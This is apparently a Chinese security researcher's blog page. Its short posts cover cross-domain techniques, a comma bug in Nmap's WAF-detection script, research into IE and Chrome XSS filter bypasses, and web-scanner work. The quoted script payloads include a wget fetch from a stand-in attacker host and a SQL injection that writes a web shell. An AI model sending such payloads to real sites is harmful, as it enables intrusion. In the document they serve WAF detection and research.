https://github.com/colorhook/crossdomain，源码。

还有一群程序员在讨论这些：http://www.iteye.com/topic/897253，我忘记是knownsec谁或者其他人分享我的了。总结还不错。还有一些，比如html5里牛逼的websocket技术，直接跨域，持久连接，在客户端层面html5的postMessage已经很帅了。这些本是为了满足程序员欲望的hacking，也满足了我们更邪恶的hacking。。

如果要说还有一些跨域的，那就是各位牛手里的0day了。

麻烦而有意思，最近好像经常在接触这一问题。

一个人的思考层面能很大影响一个人的未来形态。很多事别人认为你完成不了，你不是谁谁谁的时候，本来就不应该是谁谁谁。不用过多口水。我们需要一个牛人的姿态：给我一个支点，我能翘起地球。

http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse

测试了下有个bug会引起执行失败：
将

“?p4yl04d=<img src=”x” alt=”” />”, “?p4yl04d=wget http://ev1l.com/xpl01t.txt”
“?p4yl04d=UNION SELECT ”,2,3 INTO OUTFILE ‘/var/www/w3bsh3ll.php’ –“}

“?p4yl04d=<img src=”x” alt=”” />”, “?p4yl04d=wget http://ev1l.com/xpl01t.txt”,
“?p4yl04d=UNION SELECT ”,2,3 INTO OUTFILE ‘/var/www/w3bsh3ll.php’ –“}

少一个逗号- -。

效果出来了，原理很简单，部署WAF的网站，发送一些网站本身不包含的一些参数键值对，网站一般情况下不会出现任何异常，而WAF会报警，响应会出现差异。基于这些差异进行判断就行。不过这个nse脚本判断机制似乎太简单了。

前几天knownsec sogili同学发现ie xss filter一个有意思的bypass，又是一种差异性导致的xss，这次是服务端语言的问题。除了这个，ie还有一个特性，判断origin是否来自本域，是的话，xss filter无效。

昨天研究下chrome xss filter，和ie的机制不太一样，表面看是不做替换，这只是表象而已，实际上chrome会对响应回的HTML做一次规范化，这个过程会判断get请求是否有潜在的xss exp，如果有，输出规范化就会做出各种过滤修改等。只是你直接查看源码是看不到的，可以配合F12，好好看看规范化之后的行为，这个技巧对于我们进行漏洞挖掘非常有利。

除了chrome F12可以看到真实的HTML，其他浏览器呢？通过DOM技巧就行：

javascript:alert(document.getElementsByTagName(‘body’)[0].innerHTML)

这样有什么好处？有利于我们判断浏览器的规范化行为，并进一步找出规范化差异或bugs，也许一个能bypass很多网站过滤器的exp就这样被我们找到，这个过程其实是可以写成一个基于浏览器的fuzzing工具的:P
Continue reading

接手Web扫描器我发现有11个月了，新的架构是我在今年4月写出来的，到现在几乎快半年，这个架构目前让我很放心，插件化非常简单，各层数据流很清晰。然后忙各种事，信口答应可以超越ibm appscan，可是扫描器定位不一样，虽然大家共识是这样，可我还是很不满意，比如我不满意爬虫，不满意各个核心的漏洞检测插件，还未真的高潮，我就要放手去做防御了。

也好，让我脱离出各种琐事，各种宏观上的（如架构、框架）。我可以花更多精力深入核心去做研究，这样我也许能逐步加强各种规则+核心插件，预研一些更高端的技术。

这些需要勇气。做吧。今天防御组在公司加班学习。:P对了，我这个博客转移到更快的空间了，thx knownsec.